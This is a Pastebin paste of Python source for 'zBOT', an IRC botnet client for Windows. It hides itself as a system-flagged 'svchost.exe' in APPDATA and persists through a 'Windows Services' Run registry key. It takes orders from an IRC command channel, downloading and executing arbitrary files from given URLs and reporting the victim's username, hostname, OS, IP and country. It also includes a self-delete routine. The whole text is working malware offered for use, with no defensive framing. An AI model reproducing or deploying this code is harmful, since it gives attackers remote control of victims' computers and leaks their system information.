Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # zBOT IRC Bot
- # Version 1.0.0
- # Coded by BlackMan in Python 2.7.5
- # Download : http://sourceforge.net/projects/zbotirc/
- # File : zbot.py
- #IMPORTS
- import os
- import random
- import shutil
- import socket
- import sys
- import threading
- import time
- import urllib
- from _winreg import *
- #CONFIG
- ircs = 'irc.server.com' #IRC Server
- ircp = 6667 #IRC Port
- ircc = '#channel' #IRC Channel
- ircs_backup = 'irc.backup.com' #Backup IRC Server
- ircp_backup = 6667 #Backup IRC Port
- ircc_backup = '#grove' #Backup IRC Channel
- version = '1.0.0' #zBOT Version
- #GLOBALS
- irc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- #EXECUTE COMMAND
- def command(cmd): os.popen(cmd)
- #DOWNLOAD / EXECUTE
- class download(threading.Thread):
- def __init__(self, url):
- self.url = url
- threading.Thread.__init__(self)
- def run(self):
- try:
- if getType(self.url) == 'application/octet-stream':
- name = os.path.basename(self.url)
- temp = os.environ['TEMP']
- path = temp + '\\' + name
- urllib.urlretrieve(self.url, path)
- command(path)
- irc_msg('[DL] - DONE!')
- else:
- pass
- except:
- irc_msg('[DL] - FAIL!')
- #COUNTRY
- def getCountry():
- if getIP() == 'Unknown IP':
- return 'Unknown Country'
- else:
- try:
- return urllib.urlopen('http://api.wipmania.com/' + getIP()).read()
- except:
- return 'Unknown Country'
- #IP ADDRESS
- def getIP():
- try:
- return urllib.urlopen('http://bot.whatismyipaddress.com/').read()
- except:
- return 'Unknown IP'
- #RANDOM KEY
- def getKey(length): return str(random.randint(1000, 9999))
- #OPERATING SYSTEM
- def getOS():
- try:
- version = os.sys.getwindowsversion()
- key = version[3], version[0], version[1]
- windows = {
- (1, 4, 0): 'Windows 95',
- (1, 4, 10): 'Windows 98',
- (1, 4, 90): 'Windows ME',
- (2, 4, 0): 'Windows NT',
- (2, 5, 0): 'Windows 2000',
- (2, 5, 1): 'Windows XP',
- (2, 5, 2): 'Windows 2003',
- (2, 6, 0): 'Windows Vista',
- (2, 6, 1): 'Windows 7',
- (2, 6, 2): 'Windows 8'
- }
- if windows.has_key(key):
- return windows[key]
- else:
- return 'Unknown OS'
- except:
- return 'Unknown OS'
- #GET FILE TYPE
- def getType(url):
- try:
- return urllib.urlopen(url).info()['Content-Type']
- except:
- return 'Unknown Type'
- #CONNECT
- def irc_connect(server, port, channel, nick):
- irc.connect((server, port))
- time.sleep(3)
- irc_raw('NICK ' + nick)
- time.sleep(3)
- irc_raw('USER ' + nick + ' ' + getKey(4) + ' ' + server + ' :' + getKey(4))
- time.sleep(3)
- irc_raw('JOIN ' + channel)
- #MESSAGE
- def irc_msg(msg): irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
- #RAW
- def irc_raw(msg): irc.send(msg + '\r\n')
- #MELT FILE
- def melt():
- try:
- dirAppData = os.getenv('APPDATA')
- dirTemp = os.getenv('TEMP')
- fileName = dirAppData + '\\svchost.exe'
- selfName = os.path.basename(sys.argv[0])
- if sys.argv[0] == fileName:
- startup().start()
- else:
- shutil.copy(sys.argv[0], fileName)
- command('attrib +h +s +r ' + fileName)
- command(fileName)
- sys.exit()
- except:
- sys.exit()
- #PERSISTENT REGISTRY STARTUP
- class startup(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- reg = ConnectRegistry(None, HKEY_CURRENT_USER)
- key = OpenKey(reg, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
- while True:
- try:
- try:
- QueryValueEx(key, 'Windows Services')
- except:
- SetValueEx(key, 'Windows Services', 0, REG_SZ, sys.argv[0])
- time.sleep(3)
- except:
- time.sleep(3)
- #UNINSTALL
- def uninstall():
- try:
- dirTemp = os.getenv('TEMP')
- batchFile = open(dirTemp + '\\uninstall.bat', 'w')
- batchFile.write('@echo off\n')
- batchFile.write('ping 127.0.0.1 -n 6\n')
- batchFile.write('del /F /Q ' + sys.argv[0] + '\n')
- batchFile.write('del %0\n')
- batchFile.write('exit')
- batchFile.close()
- try:
- reg = ConnectRegistry(None, HKEY_CURRENT_USER)
- key = OpenKey(reg, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
- DeleteValue(key, 'Windows Services')
- except:
- pass
- os.system(dirTemp + '\\uninstall.bat')
- sys.exit()
- except:
- sys.exit()
- #SETUP
- connected = False
- key = getKey(4)
- nick = '[zBOT]' + key
- infect = True
- #INFECTION
- if infect == True:
- melt()
- sys.exit()
- elif infect == False:
- pass
- #IRC CONNECT
- while connected == False:
- try:
- try:
- irc_connect(ircs, ircp, ircc, nick)
- connected = True
- except:
- irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
- ircc = ircc_backup
- connected = True
- except:
- time.sleep(300) #5 MINUTE DELAY
- #COMMANDS
- while connected == True:
- try:
- data = irc.recv(4096)
- data = data.strip('\n\r')
- split = data.split()
- if data.find('PING') != -1:
- irc_raw('PONG ' + split[1])
- if data.find ('PRIVMSG') != -1:
- nick = data.split('!')[0].replace(':', '', 1)
- host = data.split('@')[1].split(' ')[0]
- msg = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
- if msg.startswith('.dl '):
- if msg.startswith('.dl all '):
- url = msg.replace('.dl all ', '', 1)
- download(url).start()
- elif msg.startswith('.dl ' + key + ' '):
- url = msg.replace('.dl ' + key + ' ', '', 1)
- download(url).start()
- elif msg == '.info':
- username = os.environ.get('USERNAME')
- hostname = os.environ.get('COMPUTERNAME')
- irc_msg('[INFO] - Version ' + version + ' - ' + username.lower() + '@' + hostname.lower() + ' - ' + getOS() + ' - ' + getIP() + ' - ' + getCountry())
- elif msg == '.kill ' + key:
- uninstall()
- elif msg == '.nuke':
- uninstall()
- except:
- pass
Add Comment
Please, Sign In to add comment